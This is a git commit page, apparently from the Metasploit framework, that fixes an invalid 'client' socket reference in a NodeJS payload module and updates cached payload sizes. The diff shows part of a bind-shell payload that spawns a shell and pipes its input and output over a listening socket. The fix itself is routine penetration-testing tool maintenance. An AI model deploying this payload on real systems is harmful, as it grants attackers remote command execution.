remove invalid 'client' object reference in nodejs
fix #9063 by removing invalid object reference introduced in PR #8825bug/bundler_fix
parent
e976a91b15
commit
b76c1f3647
|
@ -19,11 +19,11 @@ module Msf::Payload::NodeJS
|
|||
var sh = cp.spawn(cmd, []);
|
||||
socket.pipe(sh.stdin);
|
||||
if (typeof util.pump === "undefined") {
|
||||
sh.stdout.pipe(client.socket);
|
||||
sh.stderr.pipe(client.socket);
|
||||
sh.stdout.pipe(socket);
|
||||
sh.stderr.pipe(socket);
|
||||
} else {
|
||||
util.pump(sh.stdout, client.socket);
|
||||
util.pump(sh.stderr, client.socket);
|
||||
util.pump(sh.stdout, socket);
|
||||
util.pump(sh.stderr, socket);
|
||||
}
|
||||
});
|
||||
server.listen(#{datastore['LPORT']});
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 2351
|
||||
CachedSize = 2239
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::NodeJS
|
||||
|
|
|
@ -13,7 +13,7 @@ require 'msf/base/sessions/command_shell'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 583
|
||||
CachedSize = 555
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::NodeJS
|
||||
|
|
Loading…
Reference in New Issue